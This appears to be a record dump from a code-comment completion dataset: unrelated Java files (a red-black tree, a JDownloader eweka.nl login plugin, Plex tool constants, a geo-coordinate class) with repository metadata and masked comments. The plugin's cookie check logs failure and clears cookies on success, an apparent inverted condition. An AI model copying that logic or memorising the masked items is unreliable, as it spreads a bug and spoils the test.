if (isRed(h.left.left)) {
h = rotateRight(h);
flipColors(h);
}
return h;
}
// restore red-black tree invariant
private Node balance(Node h) {
// assert (h != null);
if (isRed(h.right)) h = rotateLeft(h);
if (isRed(h.left) && isRed(h.left.left)) h = rotateRight(h);
if (isRed(h.left) && isRed(h.right)) flipColors(h);
h.size = size(h.left) + size(h.right) + 1;
return h;
}
/***************************************************************************
* Utility functions.
***************************************************************************/
/**
* Returns the height of the BST (for debugging).
* @return the height of the BST (a 1-node tree has height 0)
*/
public int height() {
return height(root);
}
private int height(Node x) {
if (x == null) return -1;
return 1 + Math.max(height(x.left), height(x.right));
}
/***************************************************************************
* Ordered symbol table methods.
***************************************************************************/
/**
* Returns the smallest key in the symbol table.
* @return the smallest key in the symbol table
* @throws NoSuchElementException if the symbol table is empty
*/
public Key min() {
if (isEmpty()) throw new NoSuchElementException("called min() with empty symbol table");
return min(root).key;
}
// the smallest key in subtree rooted at x; null if no such key
private Node min(Node x) {
// assert x != null;
if (x.left == null) return x;
else return min(x.left);
}
/**
* Returns the largest key in the symbol table.
* @return the largest key in the symbol table
* @throws NoSuchElementException if the symbol table is empty
*/
public Key max() {
if (isEmpty()) throw new NoSuchElementException("called max() with empty symbol table");
return max(root).key;
}
// the largest key in the subtree rooted at x; null if no such key
private Node max(Node x) {
// assert x != null;
if (x.right == null) return x;
else return max(x.right);
}
/**
* Returns the largest key in the symbol table less than or equal to {@code key}.
* @param key the key
* @return the largest key in the symbol table less than or equal to {@code key}
* @throws NoSuchElementException if there is no such key
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public Key floor(Key key) {
if (key == null) throw new IllegalArgumentException("argument to floor() is null");
if (isEmpty()) throw new NoSuchElementException("called floor() with empty symbol table");
Node x = floor(root, key);
if (x == null) return null;
else return x.key;
}
// the largest key in the subtree rooted at x less than or equal to the given key
private Node floor(Node x, Key key) {
if (x == null) return null;
int cmp = key.compareTo(x.key);
if (cmp == 0) return x;
if (cmp < 0) return floor(x.left, key);
Node t = floor(x.right, key);
if (t != null) return t;
else return x;
}
/**
* Returns the smallest key in the symbol table greater than or equal to {@code key}.
* @param key the key
* @return the smallest key in the symbol table greater than or equal to {@code key}
* @throws NoSuchElementException if there is no such key
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public Key ceiling(Key key) {
if (key == null) throw new IllegalArgumentException("argument to ceiling() is null");
if (isEmpty()) throw new NoSuchElementException("called ceiling() with empty symbol table");
Node x = ceiling(root, key);
if (x == null) return null;
else return x.key;
}
// the smallest key in the subtree rooted at x greater than or equal to the given key
private Node ceiling(Node x, Key key) {
if (x == null) return null;
int cmp = key.compareTo(x.key);
if (cmp == 0) return x;
if (cmp > 0) return ceiling(x.right, key);
Node t = ceiling(x.left, key);
if (t != null) return t;
else return x;
}
/**
* Return the kth smallest key in the symbol table.
* @param k the order statistic
* @return the {@code k}th smallest key in the symbol table
* @throws IllegalArgumentException unless {@code k} is between 0 and
* n–1
*/
public Key select(int k) {
if (k < 0 || k >= size()) {
throw new IllegalArgumentException("called select() with invalid argument: " + k);
}
Node x = select(root, k);
return x.key;
}
// the key of rank k in the subtree rooted at x
private Node select(Node x, int k) {
// assert x != null;
// assert k >= 0 && k < size(x);
int t = size(x.left);
if (t > k) return select(x.left, k);
else if (t < k) return select(x.right, k-t-1);
else return x;
}
/**
* Return the number of keys in the symbol table strictly less than {@code key}.
* @param key the key
* @return the number of keys in the symbol table strictly less than {@code key}
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public int rank(Key key) {
if (key == null) throw new IllegalArgumentException("argument to rank() is null");
return rank(key, root);
}
// number of keys less than key in the subtree rooted at x
private int rank(Key key, Node x) {
if (x == null) return 0;
int cmp = key.compareTo(x.key);
if (cmp < 0) return rank(key, x.left);
else if (cmp > 0) return 1 + size(x.left) + rank(key, x.right);
else return size(x.left);
}
/***************************************************************************
* Range count and range search.
***************************************************************************/
/**
* Returns all keys in the symbol table as an {@code Iterable}.
* To iterate over all of the keys in the symbol table named {@code st},
* use the foreach notation: {@code for (Key key : st.keys())}.
* @return all keys in the symbol table as an {@code Iterable}
*/
public Iterable<Key> keys() {
if (isEmpty()) return new Queue<Key>();
return keys(min(), max());
}
/**
* Returns all keys in the symbol table in the given range,
* as an {@code Iterable}.
*
* @param lo minimum endpoint
* @param hi maximum endpoint
* @return all keys in the sybol table between {@code lo}
* (inclusive) and {@code hi} (inclusive) as an {@code Iterable}
* @throws IllegalArgumentException if either {@code lo} or {@code hi}
* is {@code null}
*/
public Iterable<Key> keys(Key lo, Key hi) {
if (lo == null) throw new IllegalArgumentException("first argument to keys() is null");
if (hi == null) throw new IllegalArgumentException("second argument to keys() is null");
Queue<Key> queue = new Queue<Key>();
// if (isEmpty() || lo.compareTo(hi) > 0) return queue;
keys(root, queue, lo, hi);
return queue;
}
// add the keys between lo and hi in the subtree rooted at x
// to the queue
private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
if (x == null) return;
int cmplo = lo.compareTo(x.key);
int cmphi = hi.compareTo(x.key);
if (cmplo < 0) keys(x.left, queue, lo, hi);
if (cmplo <= 0 && cmphi >= 0) queue.enqueue(x.key);
if (cmphi > 0) keys(x.right, queue, lo, hi);
}
/**
* Returns the number of keys in the symbol table in the given range.
*
* @param lo minimum endpoint
* @param hi maximum endpoint
* @return the number of keys in the sybol table between {@code lo}
* (inclusive) and {@code hi} (inclusive)
* @throws IllegalArgumentException if either {@code lo} or {@code hi}
* is {@code null}
*/
public int size(Key lo, Key hi) {
if (lo == null) throw new IllegalArgumentException("first argument to size() is null");
if (hi == null) throw new IllegalArgumentException("second argument to size() is null");
if (lo.compareTo(hi) > 0) return 0;
if (contains(hi)) return rank(hi) - rank(lo) + 1;
else return rank(hi) - rank(lo);
}
/***************************************************************************
* Check integrity of red-black tree data structure.
***************************************************************************/
private boolean check() {
if (!isBST()) StdOut.println("Not in symmetric order");
if (!isSizeConsistent()) StdOut.println("Subtree counts not consistent");
if (!isRankConsistent()) StdOut.println("Ranks not consistent");
if (!is23()) StdOut.println("Not a 2-3 tree");
if (!isBalanced()) StdOut.println("Not balanced");
return isBST() && isSizeConsistent() && isRankConsistent() && is23() && isBalanced();
}
// does this binary tree satisfy symmetric order?
// Note: this test also ensures that data structure is a binary tree since order is strict
private boolean isBST() {
return isBST(root, null, null);
}
// is the tree rooted at x a BST with all keys strictly between min and max
// (if min or max is null, treat as empty constraint)
// Credit: Bob Dondero's elegant solution
private boolean isBST(Node x, Key min, Key max) {
if (x == null) return true;
if (min != null && x.key.compareTo(min) <= 0) return false;
if (max != null && x.key.compareTo(max) >= 0) return false;
return isBST(x.left, min, x.key) && isBST(x.right, x.key, max);
}
// are the size fields correct?
private boolean isSizeConsistent() { return isSizeConsistent(root); }
private boolean isSizeConsistent(Node x) {
if (x == null) return true;
if (x.size != size(x.left) + size(x.right) + 1) return false;
return isSizeConsistent(x.left) && isSizeConsistent(x.right);
}
// check that ranks are consistent
private boolean isRankConsistent() {
for (int i = 0; i < size(); i++)
if (i != rank(select(i))) return false;
for (Key key : keys())
if (key.compareTo(select(rank(key))) != 0) return false;
return true;
}
// Does the tree have no red right links, and at most one (left)
// red links in a row on any path?
private boolean is23() { return is23(root); }
private boolean is23(Node x) {
if (x == null) return true;
if (isRed(x.right)) return false;
if (x != root && isRed(x) && isRed(x.left))
return false;
return is23(x.left) && is23(x.right);
}
// do all paths from root to leaf have same number of black edges?
private boolean isBalanced() {
int black = 0; // number of black links on path from root to min
Node x = root;
while (x != null) {
if (!isRed(x)) black++;
x = x.left;
}
return isBalanced(root, black);
}
// does every path from the root to a leaf have the given number of black links?
private boolean isBalanced(Node x, int black) {
if (x == null) return black == 0;
if (!isRed(x)) black--;
return isBalanced(x.left, black) && isBalanced(x.right, black);
}
/**
* Unit tests the {@code RedBlackBST} data type.
*
* @param args the command-line arguments
*/
public static void main(String[] args) {
RedBlackBST<String, Integer> st = new RedBlackBST<String, Integer>();
for (int i = 0; !StdIn.isEmpty(); i++) {
String key = StdIn.readString();
st.put(key, i);
}
for (String s : st.keys())
StdOut.println(s + " " + st.get(s));
StdOut.println();
}
}
|
132101_7 | package jd.plugins.hoster;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.appwork.utils.StringUtils;
import org.appwork.utils.formatter.TimeFormatter;
import org.jdownloader.gui.translate._GUI;
import org.jdownloader.plugins.components.usenet.UsenetAccountConfigInterface;
import org.jdownloader.plugins.components.usenet.UsenetServer;
import org.jdownloader.plugins.controller.LazyPlugin;
import jd.PluginWrapper;
import jd.http.Browser;
import jd.http.Cookies;
import jd.nutils.encoding.Encoding;
import jd.parser.html.Form;
import jd.parser.html.Form.MethodType;
import jd.plugins.Account;
import jd.plugins.Account.AccountType;
import jd.plugins.AccountInfo;
import jd.plugins.AccountInvalidException;
import jd.plugins.HostPlugin;
import jd.plugins.LinkStatus;
import jd.plugins.PluginException;
@HostPlugin(revision = "$Revision: 48375 $", interfaceVersion = 3, names = { "eweka.nl" }, urls = { "" })
public class UseNetEwekaNl extends UseNet {
public UseNetEwekaNl(PluginWrapper wrapper) {
super(wrapper);
this.enablePremium("https://www.eweka.nl/en/usenet_toegang/specificaties/");
}
@Override
public LazyPlugin.FEATURE[] getFeatures() {
return new LazyPlugin.FEATURE[] { LazyPlugin.FEATURE.USENET, LazyPlugin.FEATURE.COOKIE_LOGIN_OPTIONAL };
}
@Override
public String getAGBLink() {
return "https://www.eweka.nl/en/av/";
}
public static interface EwekaNlConfigInterface extends UsenetAccountConfigInterface {
};
private final String USENET_USERNAME = "USENET_USERNAME";
@Override
protected String getUseNetUsername(Account account) {
return account.getStringProperty(USENET_USERNAME, account.getUser());
}
@Override
public AccountInfo fetchAccountInfo(final Account account) throws Exception {
setBrowserExclusive();
final AccountInfo ai = new AccountInfo();
login(account, true);
// final String server = br.getRegex("<td><b>Server</b></td>.*?<td.*?>(.*?)</td>").getMatch(0);
// final String port = br.getRegex("<td><b>Port</b></td>.*?<td.*?>(\\d+)</td>").getMatch(0);
// TODO: use these infos for available servers
getPage("/myeweka?p=acd");
final String connections = br.getRegex("(?i)<td><b>Connections</b></td>.*?<td.*?>(\\d+)</td>").getMatch(0);
if (connections != null) {
account.setMaxSimultanDownloads(Integer.parseInt(connections));
} else {
/* Fallback */
account.setMaxSimultanDownloads(8);
}
final String userNameHTML = br.getRegex("name=\"username\" value=\"([^<>\"]+)\"").getMatch(0);
final String username;
if (userNameHTML != null) {
username = userNameHTML;
} else {
/* Fallback: Use user entered username as Usenet username */
username = account.getUser();
}
/*
* When using cookie login user can enter whatever he wants into username field but we try to have unique usernames so user cannot
* add same account twice.
*/
if (account.loadUserCookies() != null && userNameHTML != null) {
account.setUser(userNameHTML);
}
account.setProperty(USENET_USERNAME, username);
String validUntil = br.getRegex("(?i)<td><b>\\s*Valid until\\s*</b></td>.*?<td.*?>\\s*?(\\d{2}-\\d{2}-\\d{4} \\d{2}:\\d{2})").getMatch(0);
if (validUntil == null) {
/* 2020-01-21 */
validUntil = br.getRegex("(?i)>\\s*Next billing at</b></td>\\s*<td>(\\d{2}-\\d{2}-\\d{4} \\d{2}:\\d{2})").getMatch(0);
}
if (validUntil == null) {
/* 2020-01-21 - wide open RegEx as fallback */
validUntil = br.getRegex("(\\d{2}-\\d{2}-\\d{4} \\d{2}:\\d{2})").getMatch(0);
}
if (validUntil != null) {
final long date = TimeFormatter.getMilliSeconds(validUntil, "dd'-'MM'-'yyyy' 'HH:mm", null);
if (date > 0) {
ai.setValidUntil(date, br);
}
account.setType(AccountType.PREMIUM);
} else {
account.setType(AccountType.FREE);
ai.setTrafficLeft(0);
}
ai.setProperty("multiHostSupport", Arrays.asList(new String[] { "usenet" }));
return ai;
}
private void login(final Account account, final boolean verifyCookies) throws Exception {
synchronized (account) {
try {
br.setFollowRedirects(true);
/* 2021-09-03: Added cookie login as possible workaround for them using Cloudflare on login page. */
final Cookies userCookies = account.loadUserCookies();
if (userCookies != null) {
logger.info("Checking login user cookies");
if (!verifyCookies) {
logger.info("Trust user login cookies without check");
br.setCookies(userCookies);
return;
}
if (checkLogin(br, userCookies)) {
logger.info("Successfully loggedin via user cookies");
return;
} else {
if (account.hasEverBeenValid()) {
throw new AccountInvalidException(_GUI.T.accountdialog_check_cookies_expired());
} else {
throw new AccountInvalidException(_GUI.T.accountdialog_check_cookies_invalid());
}
}
}
final Cookies cookies = account.loadCookies("");
if (cookies != null) {
if (!verifyCookies) {
logger.info("Trust login cookies without check");
br.setCookies(cookies);
return;
}
logger.info("Checking login cookies");
if (checkLogin(br, cookies)) {
logger.info("Failed to login via cookies");
/* Delete old cookies */
account.clearCookies("");
br.getCookies(getHost()).clear();
} else {
logger.info("Successfully loggedin via cookies");
account.saveCookies(br.getCookies(getHost()), "");
return;
}
}
logger.info("Performing full login");
getPage("https://www." + this.getHost() + "/myeweka/?lang=en");
final Form loginform = br.getFormbyProperty("id", "login-form");
if (loginform == null) {
throw new PluginException(LinkStatus.ERROR_PLUGIN_DEFECT);
}
loginform.setMethod(MethodType.POST);
loginform.put("identifier", Encoding.urlEncode(account.getUser()));
loginform.put("password", Encoding.urlEncode(account.getPass()));
submitForm(loginform);
if (!isLoggedIN(br)) {
throw new PluginException(LinkStatus.ERROR_PREMIUM, PluginException.VALUE_ID_PREMIUM_DISABLE);
}
account.saveCookies(br.getCookies(getHost()), "");
} catch (PluginException e) {
if (e.getLinkStatus() == LinkStatus.ERROR_PREMIUM) {
account.clearCookies("");
}
throw e;
}
}
}
private boolean checkLogin(final Browser br, final Cookies cookies) throws Exception {
br.setCookies(cookies);
getPage("https://www." + this.getHost() + "/en/myeweka?p=pro");
if (isLoggedIN(br)) {
return true;
} else {
return false;
}
}
private boolean isLoggedIN(final Browser br) {
String logintoken = br.getCookie(getHost(), "auth-token", Cookies.NOTDELETEDPATTERN);
return !StringUtils.isEmpty(logintoken) && !logintoken.equals("\"\"");
}
@Override
public List<UsenetServer> getAvailableUsenetServer() {
final List<UsenetServer> ret = new ArrayList<UsenetServer>();
ret.addAll(UsenetServer.createServerList("newsreader.eweka.nl", false, 119));// resolves to 3 IP
// ret.addAll(UsenetServer.createServerList("newsreader124.eweka.nl", false, 119));//resolves to 1 IP
ret.addAll(UsenetServer.createServerList("sslreader.eweka.nl", true, 563, 443));// resolves to 3 IP
return ret;
}
}
| mycodedoesnotcompile2/jdownloader_mirror | svn_trunk/src/jd/plugins/hoster/UseNetEwekaNl.java | 2,548 | /* Delete old cookies */ | block_comment | nl | package jd.plugins.hoster;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.appwork.utils.StringUtils;
import org.appwork.utils.formatter.TimeFormatter;
import org.jdownloader.gui.translate._GUI;
import org.jdownloader.plugins.components.usenet.UsenetAccountConfigInterface;
import org.jdownloader.plugins.components.usenet.UsenetServer;
import org.jdownloader.plugins.controller.LazyPlugin;
import jd.PluginWrapper;
import jd.http.Browser;
import jd.http.Cookies;
import jd.nutils.encoding.Encoding;
import jd.parser.html.Form;
import jd.parser.html.Form.MethodType;
import jd.plugins.Account;
import jd.plugins.Account.AccountType;
import jd.plugins.AccountInfo;
import jd.plugins.AccountInvalidException;
import jd.plugins.HostPlugin;
import jd.plugins.LinkStatus;
import jd.plugins.PluginException;
@HostPlugin(revision = "$Revision: 48375 $", interfaceVersion = 3, names = { "eweka.nl" }, urls = { "" })
public class UseNetEwekaNl extends UseNet {
public UseNetEwekaNl(PluginWrapper wrapper) {
super(wrapper);
this.enablePremium("https://www.eweka.nl/en/usenet_toegang/specificaties/");
}
@Override
public LazyPlugin.FEATURE[] getFeatures() {
return new LazyPlugin.FEATURE[] { LazyPlugin.FEATURE.USENET, LazyPlugin.FEATURE.COOKIE_LOGIN_OPTIONAL };
}
@Override
public String getAGBLink() {
return "https://www.eweka.nl/en/av/";
}
public static interface EwekaNlConfigInterface extends UsenetAccountConfigInterface {
};
private final String USENET_USERNAME = "USENET_USERNAME";
@Override
protected String getUseNetUsername(Account account) {
return account.getStringProperty(USENET_USERNAME, account.getUser());
}
@Override
public AccountInfo fetchAccountInfo(final Account account) throws Exception {
setBrowserExclusive();
final AccountInfo ai = new AccountInfo();
login(account, true);
// final String server = br.getRegex("<td><b>Server</b></td>.*?<td.*?>(.*?)</td>").getMatch(0);
// final String port = br.getRegex("<td><b>Port</b></td>.*?<td.*?>(\\d+)</td>").getMatch(0);
// TODO: use these infos for available servers
getPage("/myeweka?p=acd");
final String connections = br.getRegex("(?i)<td><b>Connections</b></td>.*?<td.*?>(\\d+)</td>").getMatch(0);
if (connections != null) {
account.setMaxSimultanDownloads(Integer.parseInt(connections));
} else {
/* Fallback */
account.setMaxSimultanDownloads(8);
}
final String userNameHTML = br.getRegex("name=\"username\" value=\"([^<>\"]+)\"").getMatch(0);
final String username;
if (userNameHTML != null) {
username = userNameHTML;
} else {
/* Fallback: Use user entered username as Usenet username */
username = account.getUser();
}
/*
* When using cookie login user can enter whatever he wants into username field but we try to have unique usernames so user cannot
* add same account twice.
*/
if (account.loadUserCookies() != null && userNameHTML != null) {
account.setUser(userNameHTML);
}
account.setProperty(USENET_USERNAME, username);
String validUntil = br.getRegex("(?i)<td><b>\\s*Valid until\\s*</b></td>.*?<td.*?>\\s*?(\\d{2}-\\d{2}-\\d{4} \\d{2}:\\d{2})").getMatch(0);
if (validUntil == null) {
/* 2020-01-21 */
validUntil = br.getRegex("(?i)>\\s*Next billing at</b></td>\\s*<td>(\\d{2}-\\d{2}-\\d{4} \\d{2}:\\d{2})").getMatch(0);
}
if (validUntil == null) {
/* 2020-01-21 - wide open RegEx as fallback */
validUntil = br.getRegex("(\\d{2}-\\d{2}-\\d{4} \\d{2}:\\d{2})").getMatch(0);
}
if (validUntil != null) {
final long date = TimeFormatter.getMilliSeconds(validUntil, "dd'-'MM'-'yyyy' 'HH:mm", null);
if (date > 0) {
ai.setValidUntil(date, br);
}
account.setType(AccountType.PREMIUM);
} else {
account.setType(AccountType.FREE);
ai.setTrafficLeft(0);
}
ai.setProperty("multiHostSupport", Arrays.asList(new String[] { "usenet" }));
return ai;
}
private void login(final Account account, final boolean verifyCookies) throws Exception {
synchronized (account) {
try {
br.setFollowRedirects(true);
/* 2021-09-03: Added cookie login as possible workaround for them using Cloudflare on login page. */
final Cookies userCookies = account.loadUserCookies();
if (userCookies != null) {
logger.info("Checking login user cookies");
if (!verifyCookies) {
logger.info("Trust user login cookies without check");
br.setCookies(userCookies);
return;
}
if (checkLogin(br, userCookies)) {
logger.info("Successfully loggedin via user cookies");
return;
} else {
if (account.hasEverBeenValid()) {
throw new AccountInvalidException(_GUI.T.accountdialog_check_cookies_expired());
} else {
throw new AccountInvalidException(_GUI.T.accountdialog_check_cookies_invalid());
}
}
}
final Cookies cookies = account.loadCookies("");
if (cookies != null) {
if (!verifyCookies) {
logger.info("Trust login cookies without check");
br.setCookies(cookies);
return;
}
logger.info("Checking login cookies");
if (checkLogin(br, cookies)) {
logger.info("Failed to login via cookies");
/* Delete old cookies<SUF>*/
account.clearCookies("");
br.getCookies(getHost()).clear();
} else {
logger.info("Successfully loggedin via cookies");
account.saveCookies(br.getCookies(getHost()), "");
return;
}
}
logger.info("Performing full login");
getPage("https://www." + this.getHost() + "/myeweka/?lang=en");
final Form loginform = br.getFormbyProperty("id", "login-form");
if (loginform == null) {
throw new PluginException(LinkStatus.ERROR_PLUGIN_DEFECT);
}
loginform.setMethod(MethodType.POST);
loginform.put("identifier", Encoding.urlEncode(account.getUser()));
loginform.put("password", Encoding.urlEncode(account.getPass()));
submitForm(loginform);
if (!isLoggedIN(br)) {
throw new PluginException(LinkStatus.ERROR_PREMIUM, PluginException.VALUE_ID_PREMIUM_DISABLE);
}
account.saveCookies(br.getCookies(getHost()), "");
} catch (PluginException e) {
if (e.getLinkStatus() == LinkStatus.ERROR_PREMIUM) {
account.clearCookies("");
}
throw e;
}
}
}
private boolean checkLogin(final Browser br, final Cookies cookies) throws Exception {
br.setCookies(cookies);
getPage("https://www." + this.getHost() + "/en/myeweka?p=pro");
if (isLoggedIN(br)) {
return true;
} else {
return false;
}
}
private boolean isLoggedIN(final Browser br) {
String logintoken = br.getCookie(getHost(), "auth-token", Cookies.NOTDELETEDPATTERN);
return !StringUtils.isEmpty(logintoken) && !logintoken.equals("\"\"");
}
@Override
public List<UsenetServer> getAvailableUsenetServer() {
final List<UsenetServer> ret = new ArrayList<UsenetServer>();
ret.addAll(UsenetServer.createServerList("newsreader.eweka.nl", false, 119));// resolves to 3 IP
// ret.addAll(UsenetServer.createServerList("newsreader124.eweka.nl", false, 119));//resolves to 1 IP
ret.addAll(UsenetServer.createServerList("sslreader.eweka.nl", true, 563, 443));// resolves to 3 IP
return ret;
}
}
|
102071_2 | package updatetool;
import java.util.List;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import updatetool.common.Pair;
import updatetool.imdb.ImdbDatabaseSupport.ImdbMetadataResult;
public final class Globals {
private Globals() {}
// This is set in ImdbDatabaseSupport to understand if we use the new or old format for null valued ExtraData that is then initiated by the tool for the first time
@SuppressFBWarnings("MS_CANNOT_BE_FINAL")
public static boolean IS_NEW_EXTRA_DATA = false;
/*
* Badges
*/
public static final Pair<String, String>
NEW_TMDB = Pair.of("at:audienceRatingImage", "themoviedb://image.rating"),
NEW_IMDB = Pair.of("at:audienceRatingImage", "imdb://image.rating"),
NEW_TVDB = Pair.of("at:audienceRatingImage", "thetvdb://image.rating"),
ROTTEN_A = Pair.of("at:audienceRatingImage", "rottentomatoes://image.rating.upright"),
ROTTEN_R = Pair.of("at:ratingImage", "rottentomatoes://image.rating.ripe"),
OLD_IMDB = Pair.of("at:ratingImage", "imdb://image.rating");
public static final List<Pair<String, String>> STRIP = List.of(NEW_TMDB, ROTTEN_A, ROTTEN_R, NEW_TVDB);
/*
* Agents
*/
private static final List<String> NEW_AGENTS = List.of(
"plex://movie/",
"plex://season/",
"plex://episode/",
"plex://show/"
);
public static boolean isNewAgent(ImdbMetadataResult meta) {
for(String newagent : NEW_AGENTS) {
if(meta.guid.startsWith(newagent))
return true;
}
return false;
}
}
| mynttt/UpdateTool | src/main/java/updatetool/Globals.java | 563 | /*
* Agents
*/ | block_comment | nl | package updatetool;
import java.util.List;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import updatetool.common.Pair;
import updatetool.imdb.ImdbDatabaseSupport.ImdbMetadataResult;
public final class Globals {
private Globals() {}
// This is set in ImdbDatabaseSupport to understand if we use the new or old format for null valued ExtraData that is then initiated by the tool for the first time
@SuppressFBWarnings("MS_CANNOT_BE_FINAL")
public static boolean IS_NEW_EXTRA_DATA = false;
/*
* Badges
*/
public static final Pair<String, String>
NEW_TMDB = Pair.of("at:audienceRatingImage", "themoviedb://image.rating"),
NEW_IMDB = Pair.of("at:audienceRatingImage", "imdb://image.rating"),
NEW_TVDB = Pair.of("at:audienceRatingImage", "thetvdb://image.rating"),
ROTTEN_A = Pair.of("at:audienceRatingImage", "rottentomatoes://image.rating.upright"),
ROTTEN_R = Pair.of("at:ratingImage", "rottentomatoes://image.rating.ripe"),
OLD_IMDB = Pair.of("at:ratingImage", "imdb://image.rating");
public static final List<Pair<String, String>> STRIP = List.of(NEW_TMDB, ROTTEN_A, ROTTEN_R, NEW_TVDB);
/*
* Agents
<SUF>*/
private static final List<String> NEW_AGENTS = List.of(
"plex://movie/",
"plex://season/",
"plex://episode/",
"plex://show/"
);
public static boolean isNewAgent(ImdbMetadataResult meta) {
for(String newagent : NEW_AGENTS) {
if(meta.guid.startsWith(newagent))
return true;
}
return false;
}
}
|
66290_29 | /*******************************************************************************
* Copyright (C) 2005, 2020 Wolfgang Schramm and Contributors
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*******************************************************************************/
/**
* @author Alfred Barten
*/
package de.byteholder.gpx;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import net.tourbook.common.UI;
public class GeoCoord {
public static final int faktg = 60 * 60 * 60;
public static final int faktm = 60 * 60;
public static final int fakts = 60;
final static private int PATTERN_ANZ = 10;
final static private String patternString[] = new String[PATTERN_ANZ];
final static private Pattern pattern[] = new Pattern[PATTERN_ANZ];
static private Matcher matcher = null;
public char direction;
int degrees; // 1 Degrees in NS-Direction = 110.946 km
int minutes; // 1 Min. in NS-Direction = 1.852 km
int seconds; // 1 Sek. in NS-Direction = 30.68 m
int tertias; // sechzigstel Seconds // 1 Trz. in NS-Direction = 0.51 m
public int decimal; // nur Subklassen (GeoLat, GeoLon) kennen die Variable
// Variable doubleValue wird ausschliesslich für GPS-Dateifiles verwendet
// (dort, damit keine Rundungsfehler beim Splitten eines großen HST-Files in
// viele kleine entstehen)
// Variable muss mit set(double) gesetzt und mit toStringDouble*() gelesen werden
// _kein_ Update in updateDecimal und updateDegrees,
// d.h. add etc. fkt. nicht!
private double doubleValue = 0.;
/***********************************************************************************
* Zur Erkennung von Strings: zunächst werden Ersetzungen vorgenommen: blank -> (nichts) " ->
* (nichts) [SW] vorne -> - vorne [SW] hinten -> - vorne [NEO] -> (nichts) , -> . ° -> : ' -> :
* : hinten -> (nichts) danach bleiben folgende Fälle übrig: Symbolisch RegEx -ggg:mm
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}) -gggMM ([-+]?)([0-9]{1,3})([0-9]{2}) -ggg:mm:ss
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}) -gggMMSS
* ([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2}) -ggg:mm:ss:tt
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2}) -ggg.ggggg
* ([-+]?)([0-9]{1,3}\\.[0-9]+) -ggg:mm.mmmmm ([-+]?)([0-9]{1,3}):([0-9]{1,2}\\.[0-9]+)
* -gggMM.mmmmm ([-+]?)([0-9]{1,3})([0-9]{2}\\.[0-9]+) -ggg:mm:ss.sssss
* ([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}\\.[0-9]+) -gggMMSS.sssss
* ([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2}\\.[0-9]+) dabei bedeutet: - ^= plus, minus oder nichts
* ggg ^= ein bis drei Stellen mm,ss,tt ^= ein oder zwei Stellen MM,SS ^= exakt zwei Stellen .*
* ^= ein oder mehrere Nachkommastellen
***********************************************************************************/
public GeoCoord() {
degrees = 0;
minutes = 0;
seconds = 0;
decimal = 0;
tertias = 0;
direction = directionPlus();
// Kommentar s. o.
patternString[0] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2})"); //$NON-NLS-1$
patternString[1] = new String("([-+]?)([0-9]{1,3})([0-9]{2})"); //$NON-NLS-1$
patternString[2] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2})"); //$NON-NLS-1$
patternString[3] = new String("([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2})"); //$NON-NLS-1$
patternString[4] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})"); //$NON-NLS-1$
patternString[5] = new String("([-+]?)([0-9]{1,3}\\.[0-9]+)"); //$NON-NLS-1$
patternString[6] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}\\.[0-9]+)"); //$NON-NLS-1$
patternString[7] = new String("([-+]?)([0-9]{1,3})([0-9]{2}\\.[0-9]+)"); //$NON-NLS-1$
patternString[8] = new String("([-+]?)([0-9]{1,3}):([0-9]{1,2}):([0-9]{1,2}\\.[0-9]+)"); //$NON-NLS-1$
patternString[9] = new String("([-+]?)([0-9]{1,3})([0-9]{2})([0-9]{2}\\.[0-9]+)"); //$NON-NLS-1$
for (int i = 0; i < PATTERN_ANZ; i++) {
pattern[i] = Pattern.compile(patternString[i]);
}
}
public double acos() {
return Math.acos(this.toRadians());
}
public void add(final double d) {
decimal += d;
updateDegrees();
}
public void add(final GeoCoord a) {
decimal += a.decimal;
updateDegrees();
}
public void add(final GeoCoord c, final GeoCoord a) {
decimal = c.decimal;
this.add(a);
}
public void addSecond(final int n) {
this.add(n * fakts);
}
// public int getHashkey() {
// // tertias-genau
// if (decimal >= 0)
// return decimal;
// return decimal + 134217728; // = 2^27 > 77760000 = 360 * 60 * 60 * 60
// }
public double asin() {
return Math.asin(this.toRadians());
}
public double atan() {
return Math.atan(this.toRadians());
}
public double cos() {
return Math.cos(this.toRadians());
}
public char directionMinus() {
return '?';
}
// dummies; siehe GeoLon / GeoLat
public char directionPlus() {
return '!';
}
public void div(final double faktor) {
decimal /= faktor;
updateDegrees();
}
public boolean equalTo(final GeoCoord c) {
return (decimal == c.decimal);
}
// public int getDecimal() {
// return decimal;
// }
//
// public int getDegrees() {
// return degrees;
// }
//
// public char getDirection() {
// return direction;
// }
//
// public double getDoubleValue() {
// return doubleValue;
// }
public int getHashkeyDist() {
// Minutes-genau; Wert < 21600; 21600^2 < 2^30
// absichtlich grob, damit "benachbarte" Punkte in gleiche "Toepfe" fallen
if (direction == 'N') {
return 60 * (89 - degrees) + minutes;
}
if (direction == 'S') {
return 60 * (90 + degrees) + minutes;
}
if (direction == 'W') {
return 60 * (179 - degrees) + minutes;
}
return 60 * (180 + degrees) + minutes;
}
// public int getMinutes() {
// return minutes;
// }
//
// public int getSeconds() {
// return seconds;
// }
//
